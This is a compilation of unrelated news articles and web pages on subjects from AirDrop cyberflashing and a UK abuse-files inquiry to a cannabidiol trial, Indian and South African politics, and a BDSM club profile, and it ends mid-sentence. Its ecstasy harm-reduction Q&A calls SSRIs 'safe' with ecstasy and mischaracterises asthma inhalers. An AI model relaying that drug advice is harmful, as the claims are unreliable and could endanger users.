Perverts have latched onto Apple's AirDrop as a means of pushing unsavoury content at unsuspecting commuters. Lorraine Crighton-Smith, 34, received two unsolicited pictures of a unknown man's penis on her iPhone via AirDrop as she was travelling to work on a train in south London. Crighton-Smith, who told the BBC she felt "violated" by the hi-tech equivalent of flashing, reported the offence to the British Transport Police. Officers are investigating the case, which they reckon is the first of its type that they have come across. AirDrop is a documents transfer technology that works between supported Macs and iDevices. Apple introduced the Bluetooth-based tech with the release of iOS 7 back in 2013. It's supported by devices from the iPhone 5 onwards. By default AirDrop is restricted to "contacts only" to but this is changed to "everyone" as soon as a user accepts a message from a previously unknown contact. From that point on users run the risk of being sent all sorts of undesirable content by strangers. If the same content was sent by either Bluetooth push or MMS, a user would have to click to download and view it. Unlike comparable technologies AirDrop will display content without warning or user interaction, according to security experts. "With AirDrop you don't have the option to not see an image sent to you, it shows as a preview which you then accept or decline," Ken Munro, a director at UK security consultancy Pen Test Partners, explains in a blog post. "If someone sends you an abhorrent image you can't unsee it. Much as it may upset you our advice is to save it, and then contact the police." There's no direct equivalent to AirDrop in out-of-the-box Android smartphones but similar functionality can be installed through third-party apps, according to Munro. Munro told El Reg that Apple is not really at fault in how it set up AirDrop but, in light of the occurrence of an incident of cyber flashing, it might be better if it tweaked the feature so that it reverted to "contactsonly" and only accepted messages from random strangers after prompting users. Alternatively, the tech could return to a default "contacts only" setting after a short time of perhaps 10 minutes. As it is, many iPhone users accept the occasional message from a stranger and forget to change it back, establishing a permissive setting by default in the process. That's exactly what seems to have happened in the run-up to receiving unsavoury content to the unfortunate Ms. Crighton-Smith, as she explained to the BBC's Victoria Derbyshire programme. "I had AirDrop switched on because I had been using it previously to send photos to another iPhone user – and a picture appeared on the screen of a man's penis, which I was quite shocked by" she said. "So, I declined the image, instinctively, and another image appeared, at which [point] I realised someone nearby must be sending them, and that concerned me. I felt violated, it was a very unpleasant thing to have forced upon my screen." "I was also worried about who else might have been a recipient, it might have been a child, someone more vulnerable than me," she added. Pen Test Partners' blog post explains how users can modify AirDrop to more secure settings or temporarily disable the technology entirely. ® |
Image copyright Reuters Image caption The so-called "Dickens dossier" was said to contain the names of MPs suspected of being child abusers An inquiry into the Home Office's handling of child sex abuse claims in the 1980s has failed to uncover any of the missing documents that prompted the probe, BBC Newsnight has been told. The inquiry centres on concerns the Home Office did not act on information passed on by Tory MP Geoffrey Dickens. The inquiry's report is expected to criticise the department's archiving in the 80s and 90s, and dash hopes the so-called "Dickens' dossier" still exists. The Home Office has refused to comment. 'Lost or destroyed' The review, led by NSPCC chief executive Peter Wanless, was commissioned by the home secretary in July following criticism of an internal Home Office report into how the claims were dealt with. That review revealed the Home Office had "lost or destroyed" 114 files and could find no evidence of the information compiled by Mr Dickens - and passed to the then Home Secretary Leon Brittan in 1983. That information was said to contain the names of MPs and police officers who were suspected of being child abusers. Image caption Geoffrey Dickens was a long-standing campaigner against child abuse Now, a source familiar with the Wanless report has told BBC Newsnight: "They have looked inside and behind every single cupboard in the department, and they have been round them twice, and they have not been able to find any of them [the documents]." MP Simon Danczuk, who, in July, called on Lord Brittan to say what he knew about paedophile allegations passed to him in the 1980s, told the programme: "I am worried Peter Wanless has been set up to fail in many respects. "I don't think he was given enough time to carry out this investigation. I don't think he was provided with enough support within the Home Office and I am worried he didn't get the technological support. "I think there are some fairly sophisticated forensic techniques that could have been used to establish what documents were available over a 20-year period and I don't think he has been given the opportunity to get to the documents." 'Red herring' Peter McKelvie, a former child protection manager, whose allegations about child abuse led to a 2012 police investigation, said it should not be an excuse to say the files are lost. He told Newsnight: "If the file can't be found, I actually personally think that's a little bit of a red herring because there are enough politicians and officials within the Home Office and even within the hierarchies of the three main parties that would be aware of what its content were. "The information is out there and anyone who tries to deny that is misleading people." Image caption Fiona Woolf resigned after disclosures about her links to Lord Brittan The review is being published as a wider inquiry into historical child sex abuse gets under way despite its chairwoman, Fiona Woolf, resigning following disclosures about her links to Lord Brittan. The City lawyer's predecessor, Baroness Butler-Sloss, also resigned, similarly over her links with establishment figures. Elsewhere on Friday, members of the panel have been meeting victims' representatives for a second time. Some abuse survivors have called for the panel to step down, arguing that the process of appointing its members has not been transparent. But panel members have indicated that they want to get on with planning the shape and scope of the inquiry. The BBC's home affairs correspondent Tom Symonds said: "This morning's meeting could result in a confrontation." May apology On Monday, Mrs May apologised in the Commons after Mrs Woolf stood down. Making a statement on the wider child abuse inquiry, Mrs May told MPs: "I know that some members of the House have suggested that the government should publish today the Wanless report about the Home Office permanent secretary's investigation into the so-called Dickens' dossier. "I can tell the House that the Wanless report will be published next week. "This is because it is about a separate but related matter to the work of the panel inquiry and I want members of the public and the media to have time to scrutinise both this statement and the Wanless review properly." |
Darkest Dungeon Newsletter Issue #6 View this email in your browser Tales from Below - Issue #6 A Darkest Hello to all of you supporters! Pre-Orders Closing Oct 7th! We are closing pre-orders (aka "Slacker Backer options") THIS COMING TUESDAY, so if you've been on the fence, we encourage you to check out the options and purchase one! Currently, we offer two premium (more than the base game) pre-order packages on our website: DELUXE PACKAGE ($50) Includes: Early Access once the game launches on Steam in early 2015. Original Soundtrack (digital download) by Stuart Chatwood. (will be available at game full release) PDF Art Book, with tons of concept art and in-game illustrations by our Creative Director and Artist Chris Bourassa. PDF Adventuring Journal and Estate Map. Hero Class variant (exact class variant is still TBA). Credit in the final game as a deluxe-level supporter. http://darkestdungeon.com/buy/ ULTIMATE PACKAGE ($95) Includes: Everything listed above in the Deluxe package, PLUS: Personalize your own recruitable hero. You will select from our existing classes and quirks and give the hero a name of your choosing (subject to our approval). This hero will be available to recruit in game!) Design an equippable in-game trinket. Trinkets are items that heroes can equip and gain bonuses. You will get to pick from available powers and name the item. PDF Diorama (see HERE) Credit as an ULTIMATE level supporter. http://darkestdungeon.com/buy/ Question: What about the Base Game / Art Books / Soundtrack? If you want to play Darkest Dungeon but don't want all the extras, don't worry! You can just buy the game when it comes out on Steam. The Tuesday cut-off is just for people who want those packages. We will also be selling art books and soundtracks individually in the future, so don't worry there either. Question: What Will Early Access Cost? Will it cost less than the Deluxe pre-order package? Yes--Early Access by itself will cost much less than $50. We haven't announced final pricing yet. If you don't want all the extras, you can just wait for Steam! Early Access Timeline Confirmed Early Access will be coming exclusively to Steam in January or February 2015. We'll keep you updated with an exact date and price when we set it. All backers/pre-orderers who pledged at $20 and higher will gain access to Early Access. If you backed at $15, you'll gain access to the full game when it releases later in the year. We are also working on options to allow upgrading should you wish to change to an Early Access level pledge. For now, just start preparing yourself! If you haven't pre-ordered, consider saving a few bucks for after the holiday rush, and get ready for some dark, stressful, satisfying turn-based dungeoneering! 'Cause it's coming for you... Screenshots Aside from all this business, we've been making tons of progress on the game! Here are two new screenshots for you: THE QUEST SELECT screen is where you will see what missions are availble in the different parts of your corrupted, infested Estate. Some quests are longer, more diffuclt, and rewarding than others. THE BLACKSMITH is where you can upgrade heroes' armor and weapons. Like all Town Buildings, the Blacksmith itself can be upgraded, providing various benefits. Darkest Dungeon Subreddit! Some Redditors who happen to be Darkest Dungeon fans have set up a very nice subreddit that we've given the official blessing. If you are a Redditor yourself, head on over and join in! http://www.reddit.com/r/DarkestDungeon Thanks again for your awesome support! We are working our tails off and can't wait to get to Early Access. Many monsters will be slain. Many heroes will develop unrecoverable emotional baggage. Most of all--much fun will be had! As always, if you have burning questions, fire them off to feedback@redhookgames.com and we'll address them. --THE DARKEST DUNGEON TEAM (Chris, Tyler, Keir, Brooks, Pierre, PowerUp Audio, Stuart Chatwood) |
For the first time, scientists have demonstrated that a component of cannabis reduces seizures in children with a rare form of epilepsy, marking a significant step in efforts to use marijuana and its derivatives to treat serious medical conditions. The company that sponsored the Phase 3 trial, GW Pharmaceuticals, had already announced some of the results, but researchers said the full peer-reviewed study, published Wednesday in the New England Journal of Medicine, validated the importance of the research. They also pointed out that the drug, cannabidiol, helped some patients more than others and was associated with a range of sometimes severe side effects, a significant finding because some families have been treating their children on their own in states where recreational marijuana use is legal. “We now have solid, rigorous scientific evidence that in this specific syndrome, cannabidiol is effective at reducing seizures,” said Dr. Orrin Devinsky, a neurologist at New York University Langone Medical Center and an author of the new study. But, he added, “This is not a panacea.” advertisement Cannabidiol, which GW has branded as Epidiolex, is a non-hallucinogenic component of marijuana that can be purified and administered in oil. For the trial, researchers enrolled 120 children from 2 to 18 years old with Dravet syndrome, a rare genetic form of epilepsy that kills up to 20 percent of patients by the time they are 20. There are no drugs approved specifically for Dravet. During the study, the patients stayed on their normal treatment regimen, and half of them also received cannabidiol while the remainder were given a placebo. Over a 14-week treatment period, the median number of convulsive seizures in the cannabidiol group decreased from 12.4 to 5.9 per month; for the placebo group, the number went from 14.9 to 14.1. In the cannabidiol group, 43 percent of patients had their number of seizures cut in half or more, compared with 27 percent in the placebo group. And 5 percent of patients taking cannabidiol saw their seizures disappear, compared with none in the placebo group. Common side effects seen in the cannabidiol group included vomiting, fatigue, fever, drowsiness, and diarrhea. Eight patients in the group withdrew from the trial because of the severity of the side effects. In an editorial published with the study, Dr. Samuel Berkovic of the University of Melbourne called the trial “welcome” and “the beginning of solid evidence for the use of cannabinoids in epilepsy.” But he noted that it needs to be replicated and that other studies will be required to know if cannabinoids — the different components of cannabis — can help with other forms of epilepsy and to treat adults. As desperate families have sought to treat their children with cannabis or cannabidiol on their own, experts have cautioned that it can be risky. Researchers don’t know, for example, how cannabidiol will interact with other medications, and they know even less about how adding THC — a hallucinogenic cannabinoid — to the mix might affect children with epileptic syndromes. They also don’t know the long-term effects of taking cannabidiol. Newsletters Sign up for our Morning Rounds newsletter Please enter a valid email address. Privacy Policy Leave this field empty if you're human: “We just have to be humble,” Devinsky said. “People have jumped to the idea that cannabis-based products are natural and therefore they work well, and all these anecdotes support that. There’s a lot of belief, and not a lot of science.” The latest study was a randomized, double-blind, placebo-controlled trial, considered the gold standard form of research. Experts say that these types of trials are the only way to determine if cannabinoids are truly effective at treating diseases. “The data to me are persuasive,” said Dr. Igor Grant, of the Center for Medicinal Cannabis Research at the University of California, San Diego, who was not involved with the study. “They do show that not everyone gets well, and that’s an important point. But there were substantially better outcomes in the cannabidiol group.” GW has also announced the results of two Phase 3 trials for cannabidiol in another form of epilepsy called Lennox-Gastaut syndrome, the full data from which have not been published. The company plans to ask the Food and Drug Administration this year to approve Epidiolex for both syndromes. “We do see it as profoundly important that patients suffering from these difficult-to-treat conditions have access to an FDA-approved medication, which is manufactured to the standards that medicines are meant to be manufactured to, where the safety profile is well-characterized, and where the dosing is well understood,” GW CEO Justin Gover said in an interview. An FDA approval of Epidiolex could also lead to a change in US drug policy. Cannabis is classified as a Schedule I drug, defined as having a high potential for abuse and no medical value. But an approval would signify that cannabis — or at least cannabidiol — does have a medical use. The Drug Enforcement Administration could reschedule only cannabidiol and leave cannabis generally at Schedule I. But some scientists who complain that the scheduling makes valid research on cannabis burdensome — they have to get special approval and meet security protocols to study cannabis — hope that the potential of cannabidiol as a medicine could push the DEA to reschedule cannabis itself. For now, researchers are not sure why some children saw better responses to cannabidiol than others, or even how the drug reduces seizures. But they said this study will likely lead to others exploring those questions and if cannabidiol or other cannabinoids can help with other conditions. “It’s really a welcome development that they had a well-controlled trial, it’s a big step forward,” said Ivan Soltesz, a neuroscientist at Stanford University, who was not involved with the study. But, he said, “it’s a little bit of a mystery about how it actually works.” |
[This post has been cross posted from Forn Spǫll Fira with the permission of the author.] This is the second in a series of blog posts covering the sociological data scattered through the publications of the National Survey of Youth and Religion (NSYR) about why youth leave their religion for secularism. (For the first post, see here. For Latter-day Saint retention rates, see here. For where those LDS who leave go, see here.) We should remember that the NSYR initially came into being to test ideas circulating in Evangelical scare literature that U.S. teenagers were leaving in droves to become pagans and Wiccans. So as a study it was actually designed to detect if youth are leaving and what might be the reasons for doing so. What they found was that “U.S. youth are not flocking in droves to ‘alternative’ religions and spiritualities such as paganism and Wicca” (Smith and Denton, Soul Searching, 32, 311-312 n. 1). The last post focused on a list of factors for why youth become secular. I suspect that the list was not exhaustive, but all the factors were prominent. In this post I want to look at a specific set of intellectual ideas that were common among youth of all denominations. In the first wave, of the 3290 youth surveyed (Smith and Denton, Soul Searching, 292), 267 had in-depth interviews lasting from 1.5 to 3 hours (Smith and Denton, Soul Searching, 302); this included 21 Latter-day Saint youth (Smith and Denton, Soul Searching, 303). One general observation the NSYR made was that “the majority of U.S. teens would badly fail a hypothetical short-answer or essay test of the basic beliefs of their religion” but Mormon teens “seem somewhat better able to explain the basic outlook and beliefs of their traditions” (Smith and Denton, Soul Searching, 137). These in-depth interviews provided a window into the thinking of the youth studied and thus enable one to see some of the intellectual issues involved. The NSYR found a common view of religion that cut across denominational lines (and I have heard it expressed by many Latter-day Saints). We suggest that the de facto dominant religion among contemporary U.S. teenagers is what we might call “Moralistic Therapeutic Deism.” The creed of this religion, as codified from what emerged from our interviews, sounds something like this: A God exists who created and orders the world and watches over human life on earth. God wants people to be good, nice, and fair to each other, as taught in the Bible and my most world religions. The central goal of life is to be happy and to feel good about oneself. God does not need to be particularly involved in one’s life except when God is needed to resolve a problem. Good people go to heaven when they die. Such a de facto creed is particularly evident among mainline Protestant and Catholic youth, but is also visible among black and conservative Protestants, Jewish teens, other religious types of teenagers, and even many non-religious teenagers in the United States. (Smith and Denton, Soul Searching, 162-63.) One of the interviews that the NSYR cited as an example of Moralistic Therapeutic Deism was a “17-year old white Mormon boy from Utah” (Smith and Denton, Soul Searching, 163). So we know that this is a problem affecting Latter-day Saint youth. Moralistic Therapeutic Deism is about a few things. First it “is about inculcating a moralistic approach to life. It teaches that central to living a good and happy life is being a good, moral person. That means being nice, kind, pleasant, respectful, responsible, at work on self-improvement, taking care of one’s health, and doing one’s best to be successful” (Smith and Denton, Soul Searching, 163). Second it is “about providing therapeutic benefits to its adherents. This is not a religion of repentance from sin, of keeping the Sabbath, of living as a servant of a sovereign divine, of steadfastly saying one’s prayers, . . . etcetera. Rather, what appears to be the actual dominant religion among U.S. teenagers is centrally about felling good, happy, secure, at peace. It is about attaining subjective well-being, being able to resolve problems, and getting along amiably with other people” (Smith and Denton, Soul Searching, 163-64). Finally, it “is about belief in a particular kind of God: one who exists, created the world, and defines our general moral order, but not one who is particularly personally involved in one’s affairs–especially affairs in which one would prefer not to have God involved. Most of the time, the God of this faith keeps a safe distance” (Smith and Denton, Soul Searching, 164). “God is something like a combination Divine Butler and Cosmic Therapist: he is always on call, takes care of problems that arise, professionally helps his people to feel better about themselves, and does not become too personally involved in the process” (Smith and Denton, Soul Searching, 165). Moralistic Therapeutic Deism often hides among religious people: We are not suggesting the Moralistic Therapeutic Deism is a religion that teenagers (and adults) either adopt and practice wholesale or not at all. Instead, the elements of its creed are normally assimilated by degrees, in parts, admixed with elements of more traditional religious faiths. Indeed, this religious creed appears to operate as a parasitic faith. It cannot sustain its own integral, independent life; rather it must attach itself like an incubus to established historical religious traditions, feeding on their doctrines and sensibilities, and expanding by mutating their theological substance to resemble its own distinctive image” (Smith and Denton, Soul Searching, 166). Various measures of Moralistic Therepeutic Deism appeared in 42%, 37%, and 34% of the teenage population (Smith and Denton, Soul Searching, 168). By comparison, repentance was mentioned as a theme in only 4% of the teenage population, and obeying God in only 5% (Smith and Denton, Soul Searching, 167). The NSYR found that teenagers learn Moralistic Therapeutic Deism not only from their peers but also their parents. So what happens to teenagers who subscribe to Moralistic Therapeutic Deism? Later waves of the NSYR study looked into the issue: What has become of the MTD five years later, now that those teens have become emerging adults? The latest wave of research reveals that MTD is still alive and well among 18- to 23-year-old American youth. . . . The concentration of MTD talk among emerging adults has been somewhat diluted, but that is not to say that MTD has disintegrated as a de facto believed and practiced faith. It has not. . . . Emerging adults have a lot more personal, real-life experience than teenagers do. And as the teenage faith of MTD has had to confront and address life’s realities during the transition to emerging adulthood–the five years studied here–MTD itself has been put to the test. For some, MTD seems to have sufficed for managing life. For others, it seems MTD has simply proved too thin or weak to deal with life’s challenges. Confronted with real existential or material difficulties, some emerging adults appear to have backed away from the simple verities of MTD or perhaps have moved forward into somewhat more complex, grounded, or traditional versions of religious faith. In short, there seem to be certain tests in life through which some youth find that MTD proves an unrealistic account or an unhelpful way to respond. (Smith and Snell, Souls in Transition, 154-155.) One of the first points to notice is the time lag between what is taught (and practiced) and the challenge to the faith. What the youth learned as children and teenagers was put to the test when they were emerging adults. What was reaped as a young adult was sown much earlier. I will illustrate this with an unscientific anecdote. A number of years ago I lived in a ward with a huge primary but not a single active teenager. The bishop studied the problem and found that all of the teenagers had gone inactive between the ages of 8 and 12. While there were a number of different causes for the inactivity, there was also a gap of a number of years between the cause and the effect. Longitudinal studies like the NSYR can help us see that relationship. Youth who as children and teenagers learn Moralistic Therapeutic Deism as the content of their religious faith will not find it sufficient to sustain them through the challenges of life. Some of them, as noted by the NSYR leave their faith. So when it comes to the intellectual content of what we are teaching youth, we should be teaching the gospel rather than Moralistic Therapeutic Deism. Of the five points of the de facto creed, the first two points and the last point would have to be nuanced and the other two rejected. The restored gospel of Jesus Christ is simply not compatible with Moralistic Therapeutic Deism. If we want to help the youth keep their faith, equipping them with the tools to combat Moralistic Therapeutic Deism is one place to start. |
Questions and Answers » Doesn't Esctasy contain heroin, speed and cocaine? » Why doesn't Ecstasy get me high anymore? » How can you know what you are taking? » How long does Ecstasy remain in the body and system? » Is Ecstasy addictive? » How many die from using Ecstasy? Isn't it very risky? » What causes Ecstasy-related deaths? » Does sex on Ecstasy result in impotence or inability to orgasm? » Does ecstasy cause any problems with contraceptive pills? » I'm on anti-depressants. Is there any danger associated with taking E? » I've heard that E is "neurotoxic." What does that mean? » Every time I've taken Ecstasy (twice now) I've experienced panic attacks. Is this normal? » My sister has been using cocaine & ecstasy at the same time and recently her doctor has put her on Zoloft for depression not knowing of the drug problem. Is this a dangerous combination? » Is it dangerous to take ecstasy if you have asthma? Doesn't ecstasy contain heroin, speed and cocaine? Heroin and cocaine have never been found in ecstasy in laboratory tests, even though press reports occasionally say otherwise. Speed and Ketamine have been found in ecstasy on diffent occasions. Ketamine's groggy, dissociative effects are often reminiscent of feellings one experiences when using heroin, a fact that has helped perpetuate the rumor. Why doesn't Ecstasy get me high anymore? Many users feel Ecstasy isn't as strong as it used to be, though purity tests suggest the average MDMA content has changed little over the years. Users quickly build up a tolerance to the drug, requiring more E to reach the same euphoric effects once experienced after a single dose. Also, the novelty and surprise qualities of a person's first few experiences are unlikely to be repeated, unless use is very infrequent (once or twice a year). How can you know what you are taking? The only way to know the true nature and chemical make-up of the Ecstasy you are taking is to use a testing kit. This contains a chemical agent that changes color when mixed with MDMA (or variants MDA, MDEA and MBDB), Speed or 2CB. The resulting color change shows what the pill contains. The kits are legal to possess, but their use obviously involves possession. In Holland, the Government subsidizes pill tests in an attempt to protect users against contaminated pills. How long does ecstasy remain in the body? Less than 1% remains after 48 hours. This amount will not be detectable in blood or urine samples. However, Ecstasy users may test positive for amphetamines in the standard drug test. Is ecstasy addictive? Technically, Ecstasy is not considered a physically addictive drug. The body will not crave more, or become dependent with repeated use. There is a psychological danger, however, that users can start to like it too much and crave the emotional contentment that it provides. Craving the next party, mood swings and inability to concentrate on the task at hand are all symptoms of a psychological addiction to Ecstasy. How many people die from using ecstasy? Isn't it very risky? Statistics culled from the United States and the United Kingdom report only 7 ecstasy-related deaths per million users of the drug. This is an interesting figure whtn compared to the 625 alcohol-related deaths per million drinkers that occur each year. What causes Ecstasy-related deaths? Complications from overheating, often alongside heavy alcohol consumption, is the most common cause of Ecstasy-related death. However, drinking too much water in an attempt to stay "safe" is even more dangerous. Some inexperienced users have died after drinking as much water as they physically after ingesting the drug. In one reported case, a user died after drinking 26 glasses of water in a short space of time. The excess water causes the brain to swell inside the skull, which puts pressure on the brain stem and leads to coma and death. Deaths involving contaminants are rare but do happen, as do deaths involving drugs cocktails (ecstasy and DXM, and ecstasy, cocaine and Viagra are the current dangerous mixes) See Safe Dancing guide. Does sex on ecstasy result in impotence or inability to orgasm? No, although some frequent users get so used to the heightened sensations of sex on ecstasy that they find non-ecstasy sex unsatisfying in comparison. In a similar way, someone who is heavily involved in fetish sex might find normal sex dull. Does ecstasy cause any problems with contraceptive pills? No, there are no complications or interactions between ecstasy and the contraceptive pill used by women. I'm on anti-depressants. Is there any danger from taking E? It depends on which ones. Prozac is safe to use with ecstasy, as are other SSRI-based anti-depressants. Many users report lessened effects, although the reasons why are unknown. Prozac can be used to bring the E high to an artificially quick finish. Research suggests that Prozac may reduce any neuro-toxicity the Ecstasy may cause. Ecstasy should not be taken with MAOI anti-depressants. I've heard E is "neurotoxic" -- what does that mean? "Neurotoxic" is applied to any substance that causes temporary or permanent changes in the brain. Animal tests have shown MDMA to be neurotoxic in large amounts. Nobody is sure at what level MDMA becomes neurotoxic in humans, but even moderate ecstasy use can cause memory-impairments. See our special report: Does Ecstasy Impair Memory. Every time I've taken Ecstasy (twice now) I've experienced panic attacks. Is this normal? It's quite unusual for people to experience anxiety on E, but it does happen. Like any mood-altering substance, your environment and how you feel mentally can affect the experience, or shift it abruptly from good to bad. Typically, advice for using ecstasy states that a calm, relaxed environment amongst people you know and trust will be less likely to result in unpleasant feelings. Alcohol is believed to increase the chances of anxiety or discomfort when used in conjunction. Users report that deep-breathing and music they enjoy reduce tension. If you experience panic attacks or extensive anxiety it could be that E is just not for you. My sister has been using cocaine & ecstasy at the same time and recently her doctor has put her on Zoloft for depression not knowing of the drug problem. Is this a dangerous combination? There are no direct physical dangers from mixing Zoloft and Ecstasy (MDMA). Zoloft (or to use its chemical name, Sertraline) is an SSRI (selective serotonin reuptake inhibitors), the same class of anti-depressants as Prozac (Flouxetine), Celexa (Citalopram Hydrobromide), Luvox (Fluvoxamine) and Paxil (Paroxetine). These chemicals will actually reduce or even completely eliminate the effects of Ecstasy when the two are taken together. Celexa, in particular is sometimes used to treat cocaine-dependency and may reduce cocaine effects and craving. Cocaine works on the dopamine system in the brain to produce its effects and MDMA has no direct effect on this system, although dopamine does play a role in the MDMA effect. Cocaine, however, does increase heart-rate and blood pressure that may cause physical problems in an unfit person. Perhaps more importantly, long term, both cocaine and ecstasy cause significant crashes and depression after use, in different ways. There are consistent reports, both anecdotal and scientific, that constant or binge ecstasy use is linked to depressed mood. Cocaine causes noticeable mood-swings and crashes on a next few days basis for occasional users, and long-term mood problems for chronic users. Is it dangerous to take ecstasy if you have asthma? Anecdotal reports seem to suggest that there are no particular problems or direct physical dangers for asthmatics taking ecstasy. However many asthma inhalers (such as Ventolin or Salbutamol) use amphetamine-like chemicals which increase heart rate and blood pressure and may not be wise to combine with Ecstasy. Are you using Ecstasy and unable to stop? - If so, get in touch with our free, confidential helpline today at 1-866-675-4912 and learn how you can get the professional Ecstasy addiction treatment in your area. |
Senior VHP leader Ashok Singhal on Tuesday passed way after he was on ICU suffering from respiratory problem, said organization’s international working president Praveen Togadia. Advertising “Mr Singhal died at 2.24 PM at Medanta Medicity hospital in Gurgaon,” said Togadia. 89-year-old Ashok Singhal had been admitted to the Medanta Hospital in Gurgaon after his health deteriorated. Hospital sources had said Singhal’s condition was critical and he was on ventilator support in the ICU. Also read | Ashok Singhal: VHP’s ‘guide and visionary’ Singhal had been suffering from respiratory problems for over a month now. He was earlier admitted to Medanta on October 20 after his condition deteriorated in Allahabad and was flown in to the national capital in an air ambulance. He was discharged only two days ago. A bachelor and an RSS pracharak all his life, Singhal, adopted an aggressive style in the “kar sewak” campaign in the build up to the demolition of the Babri Masjid in December, 1992. A metallurgy engineering graduate from Banaras Hindu University, he pitchforked the organisation in the Ayodhya Ram temple movement and sought to internationalise it by recruiting supporters and organising branches world wide. The overseas supporters contributed immensely to the VHP campaign. Prime Minister Narendra Modi condoled the death of Singh. “The demise of Ashok Singhalji is a deep personal loss. He was an institution in himself, whose life was centred around serving the nation,” he tweeted. The demise of Ashok Singhal ji is a deep personal loss. He was an institution in himself, whose life was centred around serving the nation. — Narendra Modi (@narendramodi) November 17, 2015 He said he was always fortunate to receive Ashokji’s blessings and guidance. “My condolences to his family and countless supporters,” he said. I was always fortunate to receive Ashok ji’s blessings & guidance. My condolences to his family & countless supporters. — Narendra Modi (@narendramodi) November 17, 2015 BJP president Amit Shah and party’s general secretary (organisation) Ramlal, besides Union Health Minister J P Nadda had visited him on Saturday at the hospital and inquired about his health. VHP international vice-president Om Parkash Singhal, general secretary Champat Rai and other leaders had also visited Medanta. Keeping in view Singhal’s bad health, VHP had cancelled its 18-day Chaturved Swahakar Yajna that was slated to start at Delhi’s Birla Mandir from November 16, as well as its Diwali Milan programme. Singhal’s body will be brought to the RSS office in Jandewalan in Central Delhi tonight. Advertising It will be kept there till 3 PM tomorrow for public to pay homage after which it will be cremated in the Nigambodh ghat here, Togadia said. (With PTI inputs) |
Description Useful Belief turns the "be positive" industry upside down with a fresh and modern approach to achievement. Sometimes things in life are not positive. Sometimes bad things happen to good people. If you've had a nightmare of a year, the last thing you want to hear is "Be positive!" Instead, you need an actual strategy to dig yourself out, and a truly useful guidebook to show you where to go next. This is that guidebook. Through the engaging tale of a business traveller and the three significant encounters on his journey, this book takes you on a journey of your own — to self awareness, and an improved approach to business, parenting and relationships. You'll learn how thinking "useful" is better than thinking "positive", and you'll uncover the utility of your past, present and future challenges. You'll undergo a major shift in the way you solve your problems, and you'll learn how to navigate your way out of ambiguity and toward success. If you have challenges at work right now, just deciding to "be positive" will not fix them. Useful belief and strategy will. This book shows you how to frame your challenges to make them surmountable, and how to formulate an action plan for getting where you need to be. Learn a simple self-awareness strategy that turns problems into plans Discover the truth about "truth" and the importance of "useful" Go beyond positivity to actually fix personal and professional problems Uncover the valuable lessons you've learned from the challenges you've overcome Everything that has ever happened to you has happened for a reason. It doesn't matter if it's true, because it's useful to believe it is true. Useful Belief leads you toward the self-awareness and strategic outlook you need to achieve personal fulfillment and professional success. |
Signup to receive a daily roundup of the top LGBT+ news stories from around the world Bollywood actress Celina Jaitly says she will not stop fighting for LGBT rights, despite threats on her life and the lives of her children. The 32-year-old star was named a United Nations Equality Champion by UN human rights chief Navi Pillay last year in recognition of her support for LGBT rights. The former Miss India was also recently included in the UN’s new pro-gay Bollywood music video, which was introduced in response to last December’s return of India’s sodomy law which bans gay sex. UN Human Rights Commissioner Navi Pillay said the move represented “a significant step backwards for India and a blow for human rights.” Residing in India, Jaitly is hoping her campaigning will reverse the law introduced by the Indian Supreme Court. “It’s been a very, very long journey for me, both personally, professionally. Also I suffered a lot sometimes because there were people who would not want to work with me because I was supporting gay rights.” However, Jaitly says she is undeterred and remains committed to speaking out for the rights of millions of LGBT people around the world, even though she and her 2-year-old twins have faced death threats. “Despite threats from many opposing parties, threats to my children, threats to myself and character assassination, I do not want…my children to grow up in an environment where people are judged based on their sexual orientation.” |
Pretoria - A group of women protesting against rape disrupted President Jacob Zuma’s speech at the IEC’s results centre on Saturday. They did not say anything, but stood in front of the podium, facing the audience, and held up pieces of cardboard with the words “Khanga”, “Remember Khwezi”, “10 yrs later” and “I am 1 in 3”. As soon as Zuma’s speech was over, he left the stage and IEC Deputy Chair Terry Tselane took the microphone to apologise to the president. “We want to apologise to the president for the disruption that just happened. This took us by surprise, and we really want to apologise to all of you,” he said. “Can I request Kate (Bapele, IEC spokesperson) to make sure that members of the media do not exacerbate the situation?” Meanwhile, the women were removed from the venue. They moaned and cried as security guards snatched the pieces of cardboard out of their hands and pushed them out. One of them, Simamkele Dlakavu, tweeted soon after that she was OK. They were making reference to Zuma’s rape accuser, who was called Khwezi by the media. She was a family friend and considered Zuma her father. She wore a khanga, or a wraparound cloth, when she claimed the president raped her in his Forest Town, Johannesburg home, 10 years ago. Zuma was found not guilty. Before this happened, EFF members walked out of the results centre when Zuma took to the podium. Led by secretary general Godrich Gardee, they got up when Zuma was introduced. WATCH: |
Molly Brooks Mercury takes presentation very seriously. Impeccably dressed in a dark suit and tie, he keeps his hair cropped close, and the narrow gap between his two front teeth underscores his symmetrical features. He folds his long hands into each other when he's listening, and he moves them in circles around his wrists when he's making a point. Right now, his point is safety, which he says is the most important thing about this place. But later, he'll show off his pommel horse and the 700-pound stainless steel surgical table he keeps in the back room. By then, his point will be pure seductive theater. "What you'll find," he explains, "is that our crowd is interested in symmetry. We are educated in the physiology of safe play. So we're not going to strike joints — the knees, the ankles, the wrists, the spine — because that's where you cause harm. In S&M play, we don't mind hurting, but we don't like to harm. There's a huge difference." The Mark is Nashville's BDSM dungeon, and Mercury is its executive director. It is, according to Mercury, inarguably one of the top 10 dungeons in the United States, and arguably among the top five. In the old days before the Internet, you had to snoop around to find a club like The Mark. You had to answer cryptic personal ads in the newspaper, or scour seedy adult bookstores for clues. These days, the Internet, including social media websites like FetLife, seems tailor-made for BDSM. FetLife has a subgroup dedicated to The Mark, which counts more than 1,900 among its members. But if you really want to know more about his lifestyle, Mercury says, all you have to do is ask. "We have, in the Nashville area, at least six munches that meet a month." Mercury says, his demeanor both guarded and charismatic. A munch, in BDSM terms, is a casual social gathering in a public place where people can be introduced to the lifestyle over food. After the munch, sometimes play parties are scheduled. "Play" is simply the act of engaging in a scene. A "scene," another BDSM term borrowed from the theater, is the fantasy that the participants are enacting. You can decide whether you're a dom (the dominant player) or a sub (the submissive) in any given scene. People who like to play both roles are called a "switch." The top hits, and the bottom takes it. After some basic etiquette, he leads the way to the dungeon doorway and gives a final warning: No drugs, minors or solicitation. Then, with the gravitas of a film-noir hit man, he swings the doors wide and walks into a room drenched in red light, Led Zeppelin echoing off the concrete walls. There is 3,000 square feet of immaculate space, at least between sessions. Think of a luxe gym with sanitizer and first-aid kits everywhere, a defibrillator installed on one wall, a series of small lockers on the other. The pièce de résistance sits propped in a corner, lit from overhead. By the way Mercury modestly downplays its significance, you can tell it's one of the pieces he's most proud of. "The Saint Andrew's Cross is in every dungeon anywhere in the United States," he says. "I think you probably can't be officially a dungeon unless you have one. Ours is a little different — because it's 440 